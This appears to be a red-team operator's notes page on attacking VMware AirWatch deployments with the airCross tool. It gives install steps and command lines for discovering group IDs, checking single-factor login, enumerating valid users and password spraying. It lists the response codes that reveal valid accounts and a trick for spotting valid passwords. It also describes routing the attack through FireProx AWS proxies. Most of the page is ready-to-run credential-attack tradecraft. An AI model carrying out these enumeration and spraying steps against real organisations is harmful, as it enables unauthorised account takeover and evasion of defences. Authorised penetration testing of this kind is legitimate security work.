IMPORTANT NOTE:
2022-09-16: Initial indications are if your customer uses AirWatch, they will have a vulnerable certificate in ADCS by default. (Internal escalation to DA.)
- First noted on 2022-875 red team.
- I’ll update this with more as additional info comes in.
airCross - AirWatch attack tool
- User enumeration
- Multi-factor authentication MFA bypass
- Password spraying
Reference: https://github.com/optiv/airCross
Install
# Install Go if it's not already installed
sudo apt update
sudo apt install -y golang
# Install the golang "net" module (dependency)
git clone https://github.com/golang/net.git net
cd net
go install net
# Clone airCross as a **subdirectory** of net. Required for how go modules work (AFAIK)
git clone https://github.com/optiv/airCross
cd airCross
go build ./airCross.go
# Now you should be able to run airCross
./airCross
# :)
Usage
- AirWatch domain and Group ID discovery
./airCross gid-disco <DOMAIN>- Check if single-factor authentication is present
./airCross gid-val -gid <GROUP ID> <AIRWATCH SUBDOMAIN>- Enumerate valid users. Generates a login attempt.
./airCross auth-reg -u <EMAIL ADDRESS> -p <PASSWORD> -gid <GROUP ID> <AIRWATCH SUBDOMAIN>Output of a valid user enumerated looks like:
[-] [jdoe@example.com:test:AUTH-1001] Authentication FailureInvalid user output looks like:
[-] [doesnotexist@example.com:test:AUTH--1] Invalid GroupIDIMPORTANT: You will also get the
Invalid GroupIDmessage if a user’s credentials are valid but the user does not have permission to log in to AirWatch. (For example, if they are not a member of the appropriate group.)Recommended workaround: Run username enumeration first by testing an impossible password (for example, a single character like “1”). Then after users are validated, run password sprays. Then any
Invalid GroupIDmessages observed in the spray output will indicate a valid password for a user who simply cannot log in to AirWatch.
- Execute user enumeration / password spraying:
- Log the output with
tee!! - I also logged the output with
scriptas a backup. :P
- Log the output with
script <SCRIPT OUTPUT FILE>
./airCross auth-reg -t 1 -gid <GROUP ID> -p '<PASSWORD>' <AIRWATCH SUBDOMAIN> <FILE CONTAINING TARGET EMAIL ADDRESSES> | tee -a <TEE OUTPUT FILE>
exitAirCross with FireProx
- Perform AirWatch domain and Group ID discovery as described above.

-
Record the Group ID for use in user enumeration and password spraying.
-
Record the authentication endpoint for use in FireProx function creation.
-
Generate a FireProx URL that points to the authentication endpoint from the discovery step. Best AWS walkthrough is here https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b.
-
Pass the recorded Group ID and FireProx URL, without the URL schem (no https://), as an argument to your AirCross invocation.
